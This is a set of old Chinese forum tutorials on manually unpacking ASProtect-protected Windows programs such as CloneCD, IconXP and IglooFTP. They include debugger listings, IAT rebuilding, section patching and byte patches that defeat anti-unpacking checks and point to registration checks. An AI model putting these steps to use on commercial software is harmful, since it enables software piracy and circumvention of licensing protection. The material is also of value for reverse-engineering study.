017F:0213C7BA 8BC0 MOV EAX,EAX
017F:0213C7BC 6A00 PUSH BYTE +00
017F:0213C7BE E8897CFFFF CALL `KERNEL32!GetModuleHandleA`
017F:0213C7C3 A34C361402 MOV [0214364C],EAX
017F:0213C7C8 E8977CFFFF CALL `KERNEL32!GetVersion`
017F:0213C7CD A344361402 MOV [02143644],EAX
017F:0213C7D2 68AC351402 PUSH DWORD 021435AC
017F:0213C7D7 E8907CFFFF CALL `KERNEL32!GetVersionExA`
017F:0213C7DC E83B7CFFFF CALL `KERNEL32!GetCurrentProcess`
017F:0213C7E1 A348361402 MOV [02143648],EAX
017F:0213C7E6 E8397CFFFF CALL `KERNEL32!GetCurrentProcessId`
017F:0213C7EB A350361402 MOV [02143650],EAX
017F:0213C7F0 E81F7CFFFF CALL `KERNEL32!GetCommandLineA`
017F:0213C7F5 A340361402 MOV [02143640],EAX
呵呵……知道是什么了吧？所以：

00105628是GetVersion
001055A0是GetCurrentProcess
001055A4是GetCurrentProcessId
00105598是GetCommandLineA

再看0213C954的代码：

017F:0213C954 55 PUSH EBP
017F:0213C955 8BEC MOV EBP,ESP
017F:0213C957 8B4508 MOV EAX,[EBP+08]
017F:0213C95A 5D POP EBP
017F:0213C95B C20400 RET 04
017F:0213C95E 8BC0 MOV EAX,EAX

017F:0213C960 55 PUSH EBP
017F:0213C961 8BEC MOV EBP,ESP
017F:0213C963 5D POP EBP
017F:0213C964 C20400 RET 04

两个空函数，暂时不用理它，将0010568C和0010558C改为KERNEL32中的任意一个函数，（我用GetTickCount）.
"Fix Dumped"后，将生成dump_.exe文件.
现在修改0010568C和0010558C的调用。对比运行CloneCD.exe，可知道调用在4A6929和4A6957处：
017F:004A6925 8B4314 MOV EAX,[EBX+14]
017F:004A6928 50 PUSH EAX
017F:004A6929 E8584B0200 CALL 004CB486 <==此call是调用0213C954
017F:004A692E 8BD0 MOV EDX,EAX
017F:004A6930 8BC3 MOV EAX,EBX

017F:004A6953 8B4614 MOV EAX,[ESI+14]
017F:004A6956 50 PUSH EAX
017F:004A6957 E8AA490200 CALL 004CB306 <==此call是调用0213C960
017F:004A695C 8BD3 MOV EDX,EBX

将017F:004A6929改为pop eax;nop;nop;nop;nop;将017F:004A6957也改为pop eax;nop;nop;nop;nop；(注意不要搞乱堆栈）。
到这里重建IAT完成。

四、修正dump_.exe

运行dump_.exe，还会有非法操作，地址都是213xxxx和215xxxx，而这些地址是程序的外壳部分。看来解决办法只有把残留的外壳部分加到dump_.exe中了。
再次载入CloneCD.exe，在oep（401000h）处中断，然后下命令："w 2131000,2148000 c:\213.bin" 和 "w 2150000,215a000 c:\215.bin"。将2131000到2148000，2150000到215a000两处内存保存下来。为什么不直接把2130000到215a000的内容保存下来呢？因为在2148000到215000的地方是没有映射的“空洞”，直接dump会让window崩溃！

用peditor装入dump_.exe，可看到Image Base是4000000；点"Scetion",在Scetion列表中点右键，选"add a Section"添加一个新section，取名"213";然后修改它，参数如下：
Virtual Size = 1F000;(2148000-2131000)
Virtual Offset = 01D31000;(2130000-400000)
Raw Size = 1F000;(2148000-2131000)

用十六进制编辑器修改dump_.exe，在文件最后的地方添加213.bin的全部内容。存盘退出。用peditor继续添加一个section，取名"215";参数如下：
Virtual Size = A000;(215A000-2150000)
Virtual Offset = 01D50000;(2150000-400000)
Raw Size = A000;(215A000-2150000)

在文件最后的地方添加215.bin的全部内容
用peditor装入改好的dump_.exe，点击"rebiulder" 选中"Make PE Header win nt/2k compitable"复选框。（注意其他的选项不要选，否则会改变内存的映射）。
到这里dump_.exe已经可以完美运行了！至于爆破为注册版我就不多说了，注册算法很复杂，（据说是椭圆曲线公开密匙算法）。爆破却很容易，415aff处是关键比较。

总结

对于这类加壳软件的脱壳方法，关键是加壳程序与脱壳后的程序要注意相互比较，脱壳后的程序如果缺少某些残留的外壳，可以用以上方法添加。


Icon catcher 3

 标 题:手动脱掉Asprotect的壳,(给初学者的) (9千字)
发信人:TAE!
时 间:2002-1-24 15:40:54
详细信息:
已经好久没有写东西了,呵呵,人懒没办法啊,不过我现在在学脱asprotect得壳,研究了几天,
对付些简单得已经没问题了,所以这里写篇文章给初学脱asprotect这冬冬得cracker.
感谢zombieys,blowfish,小球对我的帮助!
目标软件是个叫做icon catcher 3得软件,是抓图标用的

用trw载入软件,然后load,来到了这里:
0167:00401000 6801604D00 PUSH DWORD 004D6001
0167:00401005 E801000000 CALL 0040100B
0167:0004100A C3 RET
上面的那个call是可以用f10带过去的,再按一次f10就来到了上面的ret,然后返回到了下面这个地方:
0167:004D6001 60 PUSHA
0167:004D6002 E803000000 CALL 004D600A
0167:004D6007 E9EB045D45 JMP 45AA64F7
上面的这个call 004d600a是一定要进入的,因为大客们说过这个call相当于是jmp,瞧,call 004d600a
这个地址(004d600a)是不是离此指令的地址(004d6002)很近呢?以后看到这样的地址都要用f8进入,建
议以后跟踪的时候用f8键.
以后跟踪要主意的地方就是,看到程序向上跳的时候,就在跳转指令的下面一行按f9设置断点,返回f5继
续运行,这样一般都能跳过循环
0167:004D60C4 BEE70FD372 MOV ESI,72D30FE7
0167:004D60C9 5E POP ESI
0167:004D60CA 81C32903B24D ADD EBX,4DB20329
0167:004D60D0 80D6DF ADC DH,DF
0167:004D60D3 8919 MOV [ECX],EBX
0167:004D60D5 80CA71 OR DL,71
0167:004D60D8 83E901 SUB ECX,BYTE +01
0167:004D60DB 49 DEC ECX
0167:004D60DC 49 DEC ECX
0167:004D60DD 49 DEC ECX
0167:004D60DE 81E801000000 SUB EAX,01
0167:004D60E4 0F859EFFFFFF JNZ NEAR 004D6088 (JUMP)这个会向"上"跳
0167:004D60EA 68EBFDE75C PUSH DWORD 5CE7FDEB
那个jnz near 004d6008会向上面跳转,所以这时你就应该在他的下面一行,也就是push dword 5ce7fdeb
这里设置一个断点,然后按f5,之后程序就会被中断到这里了.

但是还有下面这种情况要主意!
0167:004D6242 58 POP EAX
0167:004D6243 81EA4EBACE4B SUB EDX,4BCEBA4E
0167:004D6249 0FBFF6 MOVSX ESI,SI
0167:004D624C 81C24ABACE4B ADD EDX,4BCEBA4A
0167:004D6252 8BF7 MOV ESI,EDI
0167:004D6254 81FAACF9FFFF CMP EDX,FFFFF9AC
0167:004D625A 0F8516000000 JNZ NEAR 004D6276 (JUMP)
0167:004D6260 6880C8D167 PUSH DWORD 67D1C880
0167:004D6265 6681C7755D ADD DI,5D75
0167:004D626A 5E POP ESI
0167:004D626B E921000000 JMP 004D6291
0167:004D6270 D6 SALC
虽然jnz near 004d6276是向"下"跳转的,但是当你跳到那里的时候你会发现那里又会有个jmp xxxxx
而且跳转的方向是向上面的,然后你就又会回到上面那段代码,所以这时候你应该在jmp 004d6291那行
设置一个断点,然后f5让程序运行,此时程序又会被中断了:)而且你跳过了那讨厌的循环了,后面像这样
的情况还非常多,一定要注意!
0167:004D6604 8B31 MOV ESI,[ECX]
0167:004D6606 03F2 ADD ESI,EDX
0167:004D6608 E82F000000 CALL 004D663C
0167:004D660D BFA75125B7 MOV EDI,B72551A7
0167:004D6612 3BC7 CMP EAX,EDI
0167:004D6614 7405 JZ 004D661B //瞧这个,刚开始的时候这里是不跳的
0167:004D6616 83C104 ADD ECX,BYTE +04
0167:004D6619 EBE9 JMP SHORT 004D6604 //又是个循环!
0167:004D661B XXXX XXXXXXXXXXXXXXXXXXXXXX //所以在这里设置断点,
后面几乎每个call都要用f8进入,但是如果碰到下面这样的call,你就可以放心大胆的用f10带过去了!
0167:004D64CB FF9560020000 CALL NEAR [EBP+0260] //f10带过!
0167:004D64D1 898575010000 MOV [EBP+0175],EAX
0167:004D64D7 8B9D6C020000 MOV EBX,[EBP+026C]
如果你已经跟踪到上面这段代码的话,就可以按f12直接结束这段代码,然后返回到这里:
0167:00C77001 60 PUSHA
0167:00C77002 E840060000 CALL 00C77647
0167:00C77007 EB44 JMP SHORT 00C7704D

这时你也可以再按一次f12,然后到了这里:
0167:00C77388 8BB575294400 MOV ESI,[EBP+00442975]
0167:00C7738E 33DB XOR EBX,EBX
0167:00C77390 0BC9 OR ECX,ECX
0167:00C77392 741C JZ 00C773B0
0167:00C77394 781A JS 00C773B0
0167:00C77396 AC LODSB
0167:00C77397 3CE8 CMP AL,E8
0167:00C77399 7408 JZ 00C773A3
0167:00C7739B 3CE9 CMP AL,E9
0167:00C7739D 7404 JZ 00C773A3
0167:00C7739F 43 INC EBX
0167:00C773A0 49 DEC ECX
0167:00C773A1 EBED JMP SHORT 00C77390
上面这段代码好像在哪里见过?对了,aspack有相同的一段代码,原来这里就是程序解压缩自身的地方,
相信应该难不到你吧:)如果你很懒,那么就直接f12跳过这里吧!可能要等上几秒中哦~然后就来到了一
个asprotect壳的一个标志性的地方:
0167:00C71044 55 PUSH EBP
0167:00C71045 8BEC MOV EBP,ESP
0167:00C71047 83C4F4 ADD ESP,BYTE -0C
0167:00C7104A E8E120FFFF CALL 00C63130
0167:00C7104F 0F85F72DFFFF JNZ NEAR 00C63E4C
0167:00C71055 E8AE32FFFF CALL 00C64308
0167:00C7105A E8697AFFFF CALL 00C68AC8
0167:00C7105F E8F883FFFF CALL 00C6945C
0167:00C71064 E827AFFFFF CALL 00C6BF90
0167:00C71069 E8DE2DFFFF CALL 00C63E4C
0167:00C7106E 8BE5 MOV ESP,EBP
0167:00C71070 5D POP EBP
0167:00C71071 C20C00 RET 0C
其实要想快速定位到这个地方,还是有捷径的:)这样:
设置一个断点getversionexa,然后运行程序,这时程序会被中断,但是前面两次中断全是在系统中,第三次
中断时就是在程序内部了,这时要用f10慢慢走,几个ret返回后你就到了0167:00C7106E MOV ESP,EBP
这样你就直接在00c71069那一行设置断点吧,是不是很方便?嘿嘿~~~记住最后一个call一定要用f8进入!
进去后一直按f10直到一个ret返回,那时你会看见有很多连续的call,大概是七八个吧.(不知为啥,俺用trw
不能抓取这段代码?)进入最后一个!就到了这儿,
0167:00C6FB80 B8BC39C700 MOV EAX,00C739BC
0167:00C6FB85 BA0A000000 MOV EDX,0A
0167:00C6FB8A E889C7FFFF CALL 00C6C318
0167:00C6FB8F E82CFEFFFF CALL 00C6F9C0
0167:00C6FB94 C3 RET
还是进入最后一个call,一直按f10,直到再次出现两个连续的call,像这样:
0167:00C6FB0D BA04000000 MOV EDX,04
0167:00C6FB12 E859C9FFFF CALL 00C6C470
0167:00C6FB17 E815000000 CALL 00C6FB31
同样还是要进入最后一个call(很有规律是吧:)0167:00C6FB60 FF75FC PUSH DWORD [EBP-04]
0167:00C6FB63 FF75F8 PUSH DWORD [EBP-08]
0167:00C6FB66 8B45F4 MOV EAX,[EBP-0C]
0167:00C6FB69 833800 CMP DWORD [EAX],BYTE +00
0167:00C6FB6C 7402 JZ 00C6FB70
0167:00C6FB6E FF30 PUSH DWORD [EAX]
0167:00C6FB70 FF75F0 PUSH DWORD [EBP-10]
0167:00C6FB73 FF65EC JMP NEAR [EBP-14] //^_^大客们都说看到这个就快到oep了!
0167:00C6FB76 5F POP EDI
但是,如果你想手动跟踪到oep的话还是挺麻烦的,其实用softice加icedump好像就可以直接定位到oep了,不过
俺没试过,呵呵,俺都是跟踪到oep的.因为只有这样才能熟习壳的状况,否则哪天icedump不灵了,就傻了?所以
还是跟我来吧!
0167:00C8321E 5B POP EBX
0167:00C8321F 58 POP EAX
0167:00C83220 0561098106 ADD EAX,06810961
0167:00C83225 5C POP ESP
0167:00C83226 03C3 ADD EAX,EBX
0167:00C83228 8944241C MOV [ESP+1C],EAX
0167:00C8322C 61 POPA //入口点地址
0167:00C8322D FFE0 JMP EAX //跳到程序入口点(OEP)

我这里的入口点是4a0ac4,一定要记住哦,这时在4a0ac4这一行,下命令pedump c:\icdump.exe
然后下命令suspend,运行Imprec1.4,在Attach to an Active Process这个下拉菜单中选择ic.exe
在oep中输入0a0ac4(4a0ac4-400000),点iat autosearch,最后点get imports,然后再autotrace,
然后show invalid,这时发现有五个函数没有被修复,就是zombieys大哥常说的那五个,
1 000A51CC ? 0000 00C6C94C
2 000A52E8 ? 0000 00C6C954
3 000A5324 ? 0000 00C6C914
4 000A536C ? 0000 00C6C944
5 000A5374 ? 0000 00C6C960
这时ctrl+n输入u 00c6c94c(因为此时你的ic处于挂起状态,所以可以直接看,否则你得先进入程序凌空!),这时看到的内容如下,
0167:00C6C94C A14036C700 MOV EAX,[00C73640]//**注意这个!
0167:00C6C951 C3 RET
此时用ctrl+pageup向上翻几页可以看到如下代码:

0167:00C6C7BA 8BC0 MOV EAX,EAX
0167:00C6C7BC 6A00 PUSH BYTE +00
0167:00C6C7BE E8897CFFFF CALL `KERNEL32!GetModuleHandleA`
0167:00C6C7C3 A34C36C700 MOV [00C7364C],EAX
0167:00C6C7C8 E8977CFFFF CALL `KERNEL32!GetVersion`
0167:00C6C7CD A34436C700 MOV [00C73644],EAX
0167:00C6C7D2 68AC35C700 PUSH DWORD 00C735AC
0167:00C6C7D7 E8907CFFFF CALL `KERNEL32!GetVersionExA`
0167:00C6C7DC E83B7CFFFF CALL `KERNEL32!GetCurrentProcess`
0167:00C6C7E1 A34836C700 MOV [00C73648],EAX
0167:00C6C7E6 E8397CFFFF CALL `KERNEL32!GetCurrentProcessId`
0167:00C6C7EB A35036C700 MOV [00C73650],EAX
0167:00C6C7F0 E81F7CFFFF CALL `KERNEL32!GetCommandLineA`
0167:00C6C7F5 A34036C700 MOV [00C73640],EAX //**呵呵,和上面一样得哟~~
0167:00C6C7FA C3 RET
这些是asprotect壳运行时调用程序将要使用得函数然后将其保存在内存中,这样就使得imprec
不能正确识别这些函数了.
所以呢,第一个未知函数应该是getcommandlinea,
blowfish大哥说第二个应该是lockresource
第三个是getversion
第四个是GetCurrentProcessId
第五个是freeresource(我也不知道为什么?)
最后将这些一一对应得填入imprec中选择fixdump,即可,程序可以运行了,脱壳完毕!
虽然脱壳已经完成,但是我仍然没有能力破解它,听zombieys哥说,这样的程序都是用
注册码来给自身解密的,也就是smc,所以破解起来很难,唉~~也许此次脱壳唯一得到
的就是你可以反汇编它了:(


IconXP1.03

标 题:iconXP1.03脱壳篇
发信人小球
时 间:2002/01/23 06:11pm
详细信息:

iconXP1.03脱壳篇
经过电神，小三，hying，BF，等高手的调教我也算是对aspr的壳“稍微”的了解了一点，算是个初入门的“小脱”吧！电神说过现在的人是幸福的，可以有很多的参考资料，以前的人都是自己啃的。哎！我们现在的人多幸福阿！有前辈们在脚下铺路，我们可以踏在前人的足迹（身上？^_^）大步的前进！
言归正传！
首先就是找程序的入口，还好这个程序是delphi写的，可以很容易找到入口的。如果不是？那就要很麻烦了，需要硬功夫才行。这里就不专门介绍VC/C++等的手动找入口的方法了，不过有很多可以参考的好文章阿！（介绍几个在看雪精华III中的文章：《如何跟踪asprotect》还有liotta[bcg]写的几个asprotect1.3X的文章。）
那么这个程序怎么找呢？还好电神已经告诉我们了，具体的方法是先运行程序，然后用Procdump工具dump下来，存为X.exe，再用winhex打开它，查找runtime，找到后向上查看找到55 8B EC 看看下面偏移量100118（记住）然后再用peditor载入X.exe文件，打开文件地址计算器，在偏移量处输入100118然后计算，看到虚拟地址为00500B18，哈哈！500B18就你要找的入口了！
其次就是脱壳了，运行superbpm（帮助你增强断点），运行trw2000，然后载入未脱壳的文件，然后load，下断点bpx 500B18，过一会儿程序就会被断下了，这里就是程序的入口了，suspend挂起程序。再次运行procdump，dump下现在的内存中的镜像存为dump.exe然后运行ImportREC 1.X找到进程iconxp.exe然后在oep处填上100B18（由500B18-400000得来）然后点IAT AutoSearch，importrec会自动找到RVA和Size的，再点Get Imports就会得到很多的修复的和未修复的API然后点击Auto Trace程序会自动分析API的，当然还有未修复的，这就要手动来修了！方法如下：中断iconxp.exe的进程，再用trw再次载入，点load，用bpx getversion下断点，然后按一次F12，记住API下面的[XXXXXXX]中的地址。然后按F5让程序继续运行，会断在入口处，再用U 00CEC960看看，记住[eax]中的地址，跟刚才的[XXXXXXXX]比较一下，看看是那个函数！就添入哪个就行了！
1001081F8kernel32.dll0158GetCurrentDirectoryA
0001081FC?000000CEC960
100108200kernel32.dll0133FreeLibrary
100108204kernel32.dll011CFindFirstFileA

有的是空函数，就用lockresource代替就行了！
100108338kernel32.dll0251MulDiv
00010833C?000000CEC968
100108340kernel32.dll022ELoadResource <----注意这里
100108344kernel32.dll022ALoadLibraryExA

有的要用freeresource代替
1001083ECkernel32.dll013EGetCPInfo
0001083F0?000000CEC974
1001083F4kernel32.dll0133FreeLibrary <-----注意这里
1001083F8kernel32.dll012DformatMessageA
都修复好了，就可以用Fix Dump来修复dump.exe了！
但是你会发现dump_.exe还是不能运行，这是怎么回事呢？让我们再次载入dump_.exe来看看吧！
0167:00500B16 PUSH EAX
0167:00500B17 ADD [EBP-75],DL 
0167:00500B19 MOV EBP,ESP
0167:00500B1B ADD ESP,-0C
0167:00500B1E MOV EAX,00500700
0167:00500B23 CALL 004067F8
0167:00500B28 CALL [00506998] <-----注意这里的调用，进去后就没有反映了！
0167:00500B2E CALL 00403B88
0167:00500B33 NOP
0167:00500B34 ADD [EAX],AL
0167:00500B36 ADD [EAX],AL
0167:00500B38 ADD [EAX],AL
0167:00500B3A ADD [EAX],AL
0167:00500B3C ADD [EAX],AL 
0167:00500B3E ADD [EAX],AL

我们再载入原版来看看吧！
0167:00CEC8FB NOP
0167:00CEC8FC CMP DWORD PTR [00CF35A8],00 <----进入后就来到这儿 
0167:00CEC903 JZ 00CEC90B
0167:00CEC905 CALL [00CF35A8]
0167:00CEC90B RET
0167:00CEC90C PUSH EBP
0167:00CEC90D MOV EBP,ESP
0167:00CEC90F MOV EAX,[EBP+08]
0167:00CEC912 TEST EAX,EAX
0167:00CEC914 JNZ 00CEC91D
0167:00CEC916 MOV EAX,[00CF3560]
0167:00CEC91B JMP 00CEC923
0167:00CEC91D PUSH EAX
0167:00CEC91E CALL KERNEL32!GetModuleHandleA 
0167:00CEC923 POP EBP
阿！我明白了，脱壳后的程序要用到CFXXXX的数据，那么我们只好添加进取了，用d CEC8FC看看这段数据有多少，我们统统地dump出来！
用alt+pageup向上查看，当看到数据框内如下显示就到了！
0030:00CE0FE0 ???????? ???????? ???????? ???????? ................
0030:00CE0FF0 ???????? ???????? ???????? ???????? ................ <---都是空的了 
0030:00CE1000 7473060A 676E6972 00000000 00000000 ..string........ <---从这里开始
0030:00CE1010 00000000 00000000 00CE103C 00000000 ........<.......
0030:00CE1020 00CE116D 00000004 00000000 00CE29B0 m............)..
0030:00CE1030 00CE2898 00CE28C0 00CE2904 000B0011 .(...(...)......
0030:00CE1040 00CE2910 65724604 1C001365 0C00CE29 .)...Free...)...
0030:00CE1050 74696E49 74736E49 65636E61 29380016 InitInstance..8)
0030:00CE1060 430F00CE 6E61656C 6E497075 6E617473 ...CleanupInstan 
0030:00CE1070 00106563 00CE2854 616C4309 79547373 ce..T(...ClassTy
再向下看当看到：
0030:00CF7FA0 00000000 00000000 00000000 00000000 ................
0030:00CF7FB0 00000000 00000000 00000000 00000000 ................ 
0030:00CF7FC0 00000000 00000000 00000000 00000000 ................
0030:00CF7FD0 00000000 00000000 00000000 00000000 ................
0030:00CF7FE0 00000000 00000000 00000000 00000000 ................
0030:00CF7FF0 00000000 00000000 00000000 00000000 ................<---到这里结束了
0030:00CF8000 ???????? ???????? ???????? ???????? ................<---空地址了
0030:00CF8010 ???????? ???????? ???????? ???????? ................
0030:00CF8020 ???????? ???????? ???????? ???????? ................ 
0030:00CF8030 ???????? ???????? ???????? ???????? ................
就对了！算算这段数据有多大呢？以后会有用的，CF8000-CE1000＝17000
好了，我们就截取这段地址吧！在trw2000中用w CE1000 CF8000 NEW.bin命令保存起来。
用winhex打开dump_.exe和NEW.bin把NEW.bin的内容粘贴到dump_.exe的最后，然后再打开peditor载入dump_.exe然后添加一个新段名字为new，然后编辑它
添入相关的数据，
虚拟大小添入17000，虚拟偏移量添入8E1000（CE1000－400000＝8E1000），原始大小添入17000。然后就该重新建PE头了，好让他找到新的数据。
选择重建，在选项中只选使pe头区兼容win2000/nt，点确定就行了。这样就可以运行了，但是还是有个问题，有些功能却不能用，比如打开等，连退出都不行。经过大家的讨论，发现aspr的壳用到findfirstfilea作为检查是否被脱壳的判断。我们用bpx findfirstfilea来下断看看
0167:00408CD3 CALL KERNEL32!FindFirstFileA
0167:00408CD8 MOV ESI,EAX 
0167:00408CDA MOV [EBX+14],ESI
0167:00408CDD CMP ESI,-01
0167:00408CE0 JZ 00408CF8
0167:00408CE2 MOV EAX,EBX
0167:00408CE4 CALL 00408C54
0167:00408CE9 MOV ESI,EAX <---小三说修改这里为inc esi ，nop。就行了！当然用smc也可以做到，可惜我不会。
0167:00408CEB TEST ESI,ESI
0167:00408CED JZ 00408CFF
0167:00408CEF MOV EAX,EBX
0167:00408CF1 CALL 00408D2C
0167:00408CF6 JMP 00408CFF
0167:00408CF8 CALL KERNEL32!GetLastError <---修改后这里会被跳过。 
0167:00408CFD MOV ESI,EAX
按一次F12就会发现比较的地方了！
0167:004D9317 CALL 0045E868
0167:004D931C MOV EBX,EAX 
0167:004D931E CMP EBX,000F4240 <----这里就是比较地方了！
0167:004D9324 JLE 004D9351 <----如果这里用jz，可就麻烦了，必须用smc咯！哈哈！
0167:004D9326 LEA EDX,[EBP-08]
0167:004D9329 XOR EAX,EAX
0167:004D932B CALL 00402A70
0167:004D9330 MOV EAX,[EBP-08]
0167:004D9333 CALL 0045E868
0167:004D9338 SUB EBX,EAX
0167:004D933A MOV EAX,00000017
0167:004D933F CDQ
0167:004D9340 IDIV EBX
0167:004D9342 PUSH EAX 
0167:004D9343 PUSH 00000988

到此就脱壳完成了，根据大家的研究结果，可以修复好脱壳后的程序了，都是前辈们的研究结果，我只是整理和享用而已！
希望对大家有帮助，也希望我可以想前辈们那样帮助刚刚入门的朋友们！

小球
2002.1.23


IglooFTP PRO v3.0

 标 题:脱壳IglooFTP PRO v3.0的详细过程 (11千字)
发信人:zombieys
时 间:2001-9-14 12:07:42
详细信息:
脱壳IglooFTP PRO v3.0的详细过程

在我贴过注册Advanced Ra-Renamer1.2后，有人回贴要我试IglooFTP PRO v3.0，ok no problem。不过这位1212兄真是有眼光，知道我在集中学习脱aspr保护的期间有贴必回(当然是回的是有关aspr壳保护的贴子啦)，不知道是要考考我还是要逼我学手动脱aspr的壳。不管这么多了，反正学会了，这可是我第一次手动脱壳成功啦，为了庆祝一下，过程稍微写详细点好啦。let's go~~~~~~`

unpack(2001.9.13)

这个程序无法利用快速寻找aspr入口的方法找到程序的oep，原因就是IglooFTP PRO v3.0是用vc写的，而那种方法只对delphi程序有效，vc程序入口没有特征，所以只能手动脱壳。具体的参考我写的aspr脱壳总结。
首先，用trw(我选trw的原因：1.方便写过程，用u x,x ><drive:>x就可以导出代码，2.s-ice+icedump跑不到这么远就会当掉的)载入IglooFTP PRO，下bpx getprocaddress，g，被拦到后，按2次f12，接着按f10慢慢跟踪到：

0187:00AC1ACD LEA EAX,[EAX+00]
0187:00AC1AD0 PUSH EBP
0187:00AC1AD1 MOV EBP,ESP
0187:00AC1AD3 ADD ESP,BYTE -0C
0187:00AC1AD6 CALL 00AB3130
0187:00AC1ADB JNZ NEAR 00AB3E4C
0187:00AC1AE1 CALL 00AB4308
0187:00AC1AE6 CALL 00AB8AC8
0187:00AC1AEB CALL 00AB945C
0187:00AC1AF0 CALL 00ABBF90
0187:00AC1AF5 CALL 00AB3E4C <---按f8从这进去
0187:00AC1AFA MOV ESP,EBP
0187:00AC1AFC POP EBP

按f10慢慢走到：

0187:00AC05EA MOV EAX,[ESP+0C]
0187:00AC05EE JMP SHORT 00AC05F1 <---从这开始要小心啦，偶现在还眼花呢，原来花指令是这个意思呀;-)
0187:00AC05F0 XCHG AL,[EBX+B880]
0187:00AC05F6 ADD [EDX],AL
0187:00AC05F8 JMP SHORT 00AC0614
0187:00AC05FA MOV ESP,EBE817EB
0187:00AC05FF ADC AL,E8
0187:00AC0601 JMP SHORT 00AC0614
0187:00AC0603 CALL EC9414F3
0187:00AC0608 OR EBP,EAX
0187:00AC060A JMP SHORT 00AC0614
0187:00AC060C INT 20
0187:00AC060E JMP SHORT 00AC0614
0187:00AC0610 CALL 32940800
0187:00AC0615 ROL BL,EB
0187:00AC0618 ADD EAX,EBP

在00AC119F直接下断好了，可以跳过那些让人眼花的代码。

0187:00AC118D MOV EDX,02
0187:00AC1192 CALL 00AB31B0
0187:00AC1197 RET
0187:00AC1198 JMP 00AB2DE8
0187:00AC119D JMP SHORT 00AC1172
0187:00AC119F POP EDI <----bpx这里
0187:00AC11A0 POP ESI
0187:00AC11A1 POP EBX
0187:00AC11A2 MOV ESP,EBP
0187:00AC11A4 POP EBP
0187:00AC11A5 RET

按几次f10会走到：

0187:00AC11C4 PUSH DWORD 331A69FF
0187:00AC11C9 PUSH DWORD 2550
0187:00AC11CE PUSH DWORD EC70
0187:00AC11D3 PUSH DWORD 00016000
0187:00AC11D8 PUSH DWORD [00AC3014]
0187:00AC11DE CALL 00AC11E4
0187:00AC11E3 ADD DWORD [EBX+88E804C4],E8FFFFB8
0187:00AC11ED ADD [EAX],EAX
0187:00AC11EF ADD [EAX],AL
0187:00AC11F1 ADD DWORD [EBX+043104C4],0001E824
0187:00AC11FB ADD [EAX],AL
0187:00AC11FD PUSH DWORD 8B04C483
0187:00AC1202 ADD EAX,00AC3014
0187:00AC1207 CALL 00AC120E <----bpx这里，接着按f8走出去
0187:00AC120C CALL 05709579
0187:00AC1211 ADD [ESP],EAX
0187:00AC1214 RET
0187:00AC1215 RET

按几次f10会走到：

0187:00AC005D LEA EAX,[EAX+00]
0187:00AC0060 MOV EAX,00AC39BC
0187:00AC0065 MOV EDX,0A
0187:00AC006A CALL 00ABC318
0187:00AC006F CALL 00ABFEA0 <----按f8进去
0187:00AC0074 RET

按几次f10会走到：

0187:00ABFFD5 CALL 00AB2E90
0187:00ABFFDA CMP DWORD [00AC39A4],BYTE +00
0187:00ABFFE1 JZ 00ABFFF7
0187:00ABFFE3 PUSH BYTE +04
0187:00ABFFE5 MOV ECX,00AC39A4
0187:00ABFFEA LEA EAX,[EBP-08]
0187:00ABFFED MOV EDX,04
0187:00ABFFF2 CALL 00ABC470
0187:00ABFFF7 CALL 00AC0011 <----按f8进去
0187:00ABFFFC MOV EAX,[ESP+0C]
0187:00AC0000 ADD DWORD [EAX+B8],BYTE +02
0187:00AC0007 MOV DWORD [EAX+18],00

按几次f10会走到：

0187:00AC0043 PUSH DWORD [EBP-08]
0187:00AC0046 MOV EAX,[EBP-0C]
0187:00AC0049 CMP DWORD [EAX],BYTE +00
0187:00AC004C JZ 00AC0050
0187:00AC004E PUSH DWORD [EAX]
0187:00AC0050 PUSH DWORD [EBP-10]
0187:00AC0053 JMP NEAR [EBP-14] <----fs0大哥说走到这里就离oep不远了，????
0187:00AC0056 POP EDI
0187:00AC0057 POP ESI
0187:00AC0058 POP EBX
0187:00AC0059 MOV ESP,EBP
0187:00AC005B POP EBP
0187:00AC005C RET

按几次f10会走到：

0187:00AD2970 PUSH DWORD 063429E1 <----直接跳到这里
0187:00AD2975 POP EAX
0187:00AD2976 JMP 00AD298E
0187:00AD297B MOV EDI,DBEAD58C
0187:00AD2980 JS 00AD29D3
0187:00AD2982 MOV DH,B7
0187:00AD2984 AND AL,8D
0187:00AD2986 INC EDX
0187:00AD2987 PUSH EBX
0187:00AD2988 NOP
0187:00AD2989 MOV [ESI+E845BCAF],ECX
0187:00AD298F SLDT [EAX]
0187:00AD2992 ADD BL,CL

走到这里trw的任务基本完成了，因为下面是死循环(不知道这么说是否恰当)，我搜了周围超过20000行代码也没找到jmp eax，所以该换superbpm+icedump+s-ice强档组合了。用sice载入IglooFTP PRO，下g ad2970，按几次f8来到死循环处，下/tracex 400000 eip-8，g，hoho直接来到程序的入口处47f732，至此寻找oep的任务结束了，继续脱壳。

ok，下面要在入口处脱壳，打开SuperBPM，点erase，用trw载入IglooFTP PRO v3.0，下g 47f732，下suspend。用prodump选IglooFTP PRO进程dump(full)，再打ctrl+n，f5。

接着修复import table：ImportREC1.2final无法提取完整的it，要手动修复超过70个函数，累死偶啦~~~，配合ImportREC1.2beta2重建it效果会好些，hoho,good luck:)

以下操作必须在IglooFTP PRO的地盘里才能探测到

FThunk: 0008A01C NbFunc: 00000002
1 0008A01C COMCTL32.dll 003B ImageList_GetIcon
1 0008A020 COMCTL32.dll 002A ImageList_AddMasked

1 0008A09C KERNEL32.dll 01E9 GetVersion

1 0008A0B0 KERNEL32.dll 00C7 CreateProcessA

1 0008A0BC KERNEL32.dll 0163 GetCurrentProcessId

1 0008A0F8 KERNEL32.dll 0129 FindNextFileA
1 0008A0FC KERNEL32.dll 0120 FindClose
1 0008A100 KERNEL32.dll 017F GetFileSize
1 0008A104 KERNEL32.dll 0306 Sleep
1 0008A108 KERNEL32.dll 01E1 GetTickCount

FThunk: 0008AE88 NbFunc: 0000003F
1 0008AE88 USER32.dll 0215 SetCursor
1 0008AE8C USER32.dll 019D LoadCursorA
1 0008AE90 USER32.dll 01E4 RedrawWindow
1 0008AE94 USER32.dll 00E2 GetCapture
1 0008AE98 USER32.dll 0038 CheckMenuItem
1 0008AE9C USER32.dll 015F GrayStringA
1 0008AEA0 USER32.dll 01C1 ModifyMenuA
1 0008AEA4 USER32.dll 0175 InflateRect
1 0008AEA8 USER32.dll 0133 GetParent
1 0008AEAC USER32.dll 01E1 PtInRect
1 0008AEB0 USER32.dll 00B6 EnableMenuItem
1 0008AEB4 USER32.dll 013F GetSubMenu
1 0008AEB8 USER32.dll 01DE PostQuitMessage
1 0008AEBC USER32.dll 025C TabbedTextOutA
1 0008AEC0 USER32.dll 00B0 DrawTextA
1 0008AEC4 USER32.dll 0226 SetMenuDefaultItem
1 0008AEC8 USER32.dll 01DC PostMessageA
